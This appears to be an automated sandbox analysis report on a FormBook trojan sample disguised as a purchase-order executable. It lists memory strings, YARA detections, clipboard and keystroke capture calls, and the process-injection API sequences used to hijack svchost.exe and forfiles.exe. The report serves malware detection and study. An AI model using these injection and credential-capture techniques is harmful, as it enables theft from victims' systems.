            Source: forfiles.exe, 00000008.00000002.4609863087.00000000073E0000.00000004.00000800.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4607079380.0000000005D54000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/job
            Source: RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/payments
            Source: RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/ru
            Source: RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/servers
            Source: forfiles.exe, 00000008.00000002.4609863087.00000000073E0000.00000004.00000800.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4607079380.0000000005D54000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/support/domains-finance/icann-i-ee-funkcii
            Source: RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/support/domains-finance/sposoby-oplaty-uslug-imena-ua
            Source: RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/ua
            Source: RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/vps
            Source: RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/whois.php?domain=spectre.center
            Source: forfiles.exe, 00000008.00000002.4609863087.00000000073E0000.00000004.00000800.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4607079380.0000000005D54000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.ripe.net/
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,0_2_0046C5D0
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00459FFF OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00459FFF
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,0_2_0046C5D0
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00456354 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW,0_2_00456354
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0047C08E SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,0_2_0047C08E

            E-Banking Fraud

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000008.00000002.4600039400.0000000000510000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.4605114558.0000000004440000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2590769596.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2591746417.0000000003950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.4605334741.0000000002710000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.4603364715.0000000002A20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.4608485857.0000000005730000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2591268404.0000000003390000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

            System Summary

            barindex
            Malicious sample detected (through community Yara rule)
            Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000008.00000002.4600039400.0000000000510000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000008.00000002.4605114558.0000000004440000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000002.00000002.2590769596.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000002.00000002.2591746417.0000000003950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000007.00000002.4605334741.0000000002710000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000008.00000002.4603364715.0000000002A20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000009.00000002.4608485857.0000000005730000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000002.00000002.2591268404.0000000003390000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Initial sample is a PE file and has a suspicious name
            Source: initial sampleStatic PE information: Filename: PO#001498.exe
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042C5A3 NtClose,2_2_0042C5A3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040A9D4 NtDelayExecution,2_2_0040A9D4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672B60 NtClose,LdrInitializeThunk,2_2_03672B60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672DF0 NtQuerySystemInformation,LdrInitializeThunk,2_2_03672DF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036735C0 NtCreateMutant,LdrInitializeThunk,2_2_036735C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03674340 NtSetContextThread,2_2_03674340
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03674650 NtSuspendThread,2_2_03674650
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672BE0 NtQueryValueKey,2_2_03672BE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672BF0 NtAllocateVirtualMemory,2_2_03672BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672BA0 NtEnumerateValueKey,2_2_03672BA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672B80 NtQueryInformationFile,2_2_03672B80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672AF0 NtWriteFile,2_2_03672AF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672AD0 NtReadFile,2_2_03672AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672AB0 NtWaitForSingleObject,2_2_03672AB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672F60 NtCreateProcessEx,2_2_03672F60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672F30 NtCreateSection,2_2_03672F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672FE0 NtCreateFile,2_2_03672FE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672FA0 NtQuerySection,2_2_03672FA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672FB0 NtResumeThread,2_2_03672FB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672F90 NtProtectVirtualMemory,2_2_03672F90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672E30 NtWriteVirtualMemory,2_2_03672E30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672EE0 NtQueueApcThread,2_2_03672EE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672EA0 NtAdjustPrivilegesToken,2_2_03672EA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672E80 NtReadVirtualMemory,2_2_03672E80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672D30 NtUnmapViewOfSection,2_2_03672D30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672D00 NtSetInformationFile,2_2_03672D00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672D10 NtMapViewOfSection,2_2_03672D10
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672DD0 NtDelayExecution,2_2_03672DD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672DB0 NtEnumerateKey,2_2_03672DB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672C60 NtCreateKey,2_2_03672C60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672C70 NtFreeVirtualMemory,2_2_03672C70
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672C00 NtQueryInformationProcess,2_2_03672C00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672CF0 NtOpenProcess,2_2_03672CF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672CC0 NtQueryVirtualMemory,2_2_03672CC0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672CA0 NtQueryInformationToken,2_2_03672CA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03673010 NtOpenDirectoryObject,2_2_03673010
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03673090 NtSetValueKey,2_2_03673090
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036739B0 NtGetContextThread,2_2_036739B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03673D70 NtOpenThread,2_2_03673D70
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03673D10 NtOpenProcessToken,2_2_03673D10
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04724650 NtSuspendThread,LdrInitializeThunk,8_2_04724650
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04724340 NtSetContextThread,LdrInitializeThunk,8_2_04724340
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722C70 NtFreeVirtualMemory,LdrInitializeThunk,8_2_04722C70
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722C60 NtCreateKey,LdrInitializeThunk,8_2_04722C60
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722CA0 NtQueryInformationToken,LdrInitializeThunk,8_2_04722CA0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722D30 NtUnmapViewOfSection,LdrInitializeThunk,8_2_04722D30
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722D10 NtMapViewOfSection,LdrInitializeThunk,8_2_04722D10
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722DF0 NtQuerySystemInformation,LdrInitializeThunk,8_2_04722DF0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722DD0 NtDelayExecution,LdrInitializeThunk,8_2_04722DD0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722EE0 NtQueueApcThread,LdrInitializeThunk,8_2_04722EE0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722E80 NtReadVirtualMemory,LdrInitializeThunk,8_2_04722E80
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722F30 NtCreateSection,LdrInitializeThunk,8_2_04722F30
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722FE0 NtCreateFile,LdrInitializeThunk,8_2_04722FE0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722FB0 NtResumeThread,LdrInitializeThunk,8_2_04722FB0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722AF0 NtWriteFile,LdrInitializeThunk,8_2_04722AF0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722AD0 NtReadFile,LdrInitializeThunk,8_2_04722AD0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722B60 NtClose,LdrInitializeThunk,8_2_04722B60
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722BF0 NtAllocateVirtualMemory,LdrInitializeThunk,8_2_04722BF0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722BE0 NtQueryValueKey,LdrInitializeThunk,8_2_04722BE0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722BA0 NtEnumerateValueKey,LdrInitializeThunk,8_2_04722BA0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047235C0 NtCreateMutant,LdrInitializeThunk,8_2_047235C0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047239B0 NtGetContextThread,LdrInitializeThunk,8_2_047239B0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722C00 NtQueryInformationProcess,8_2_04722C00
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722CF0 NtOpenProcess,8_2_04722CF0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722CC0 NtQueryVirtualMemory,8_2_04722CC0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722D00 NtSetInformationFile,8_2_04722D00
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722DB0 NtEnumerateKey,8_2_04722DB0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722E30 NtWriteVirtualMemory,8_2_04722E30
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722EA0 NtAdjustPrivilegesToken,8_2_04722EA0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722F60 NtCreateProcessEx,8_2_04722F60
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722FA0 NtQuerySection,8_2_04722FA0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722F90 NtProtectVirtualMemory,8_2_04722F90
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722AB0 NtWaitForSingleObject,8_2_04722AB0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04722B80 NtQueryInformationFile,8_2_04722B80
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04723010 NtOpenDirectoryObject,8_2_04723010
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04723090 NtSetValueKey,8_2_04723090
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04723D70 NtOpenThread,8_2_04723D70
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04723D10 NtOpenProcessToken,8_2_04723D10
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_00539120 NtCreateFile,8_2_00539120
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_00539290 NtReadFile,8_2_00539290
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_00539380 NtDeleteFile,8_2_00539380
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_00539420 NtClose,8_2_00539420
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_00539590 NtAllocateVirtualMemory,8_2_00539590
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00434D50: GetFullPathNameW,__swprintf,_wcslen,_wcslen,_wcslen,CreateDirectoryW,CreateFileW,_memset,_wcslen,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,0_2_00434D50
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004461ED _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_004461ED
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,0_2_004364AA
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00409A400_2_00409A40
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004120380_2_00412038
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004271610_2_00427161
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0047E1FA0_2_0047E1FA
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004212BE0_2_004212BE
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004433900_2_00443390
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004433910_2_00443391
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0041A46B0_2_0041A46B
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0041240C0_2_0041240C
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004465660_2_00446566
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004045E00_2_004045E0
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0041D7500_2_0041D750
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004037E00_2_004037E0
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004278590_2_00427859
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004128180_2_00412818
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0040F8900_2_0040F890
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0042397B0_2_0042397B
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00411B630_2_00411B63
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0047CBF00_2_0047CBF0
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0044EBBC0_2_0044EBBC
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00412C380_2_00412C38
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0044ED9A0_2_0044ED9A
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00423EBF0_2_00423EBF
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00424F700_2_00424F70
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0041AF0D0_2_0041AF0D
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_03FEF6280_2_03FEF628
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004184E32_2_004184E3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E0332_2_0040E033
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004011602_2_00401160
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040196D2_2_0040196D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004019702_2_00401970
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004021E42_2_004021E4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004021F02_2_004021F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00402A0B2_2_00402A0B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00402A102_2_00402A10
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004043242_2_00404324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042EBC32_2_0042EBC3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040FD912_2_0040FD91
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040FD932_2_0040FD93
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004166CE2_2_004166CE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004166D32_2_004166D3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00402EE02_2_00402EE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040FFB32_2_0040FFB3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FA3522_2_036FA352
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E3F02_2_0364E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037003E62_2_037003E6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E02742_2_036E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C02C02_2_036C02C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C81582_2_036C8158
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036301002_2_03630100
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DA1182_2_036DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F81CC2_2_036F81CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F41A22_2_036F41A2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037001AA2_2_037001AA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D20002_2_036D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036407702_2_03640770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036647502_2_03664750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363C7C02_2_0363C7C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365C6E02_2_0365C6E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036405352_2_03640535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037005912_2_03700591
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F24462_2_036F2446
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E44202_2_036E4420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EE4F62_2_036EE4F6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FAB402_2_036FAB40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F6BD72_2_036F6BD7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA802_2_0363EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036569622_2_03656962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A02_2_036429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0370A9A62_2_0370A9A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364A8402_2_0364A840
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036428402_2_03642840
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E8F02_2_0366E8F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036268B82_2_036268B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B4F402_2_036B4F40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03682F282_2_03682F28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03660F302_2_03660F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E2F302_2_036E2F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364CFE02_2_0364CFE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03632FC82_2_03632FC8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BEFA02_2_036BEFA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640E592_2_03640E59
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FEE262_2_036FEE26
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FEEDB2_2_036FEEDB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03652E902_2_03652E90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FCE932_2_036FCE93
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364AD002_2_0364AD00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DCD1F2_2_036DCD1F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363ADE02_2_0363ADE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03658DBF2_2_03658DBF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640C002_2_03640C00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03630CF22_2_03630CF2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0CB52_2_036E0CB5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362D34C2_2_0362D34C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F132D2_2_036F132D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0368739A2_2_0368739A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E12ED2_2_036E12ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365B2C02_2_0365B2C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036452A02_2_036452A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0367516C2_2_0367516C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362F1722_2_0362F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0370B16B2_2_0370B16B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364B1B02_2_0364B1B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F70E92_2_036F70E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FF0E02_2_036FF0E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EF0CC2_2_036EF0CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036470C02_2_036470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FF7B02_2_036FF7B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036856302_2_03685630
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F16CC2_2_036F16CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F75712_2_036F7571
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DD5B02_2_036DD5B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036314602_2_03631460
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FF43F2_2_036FF43F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FFB762_2_036FFB76
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B5BF02_2_036B5BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0367DBF92_2_0367DBF9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365FB802_2_0365FB80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B3A6C2_2_036B3A6C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FFA492_2_036FFA49
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F7A462_2_036F7A46
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EDAC62_2_036EDAC6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DDAAC2_2_036DDAAC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03685AA02_2_03685AA0
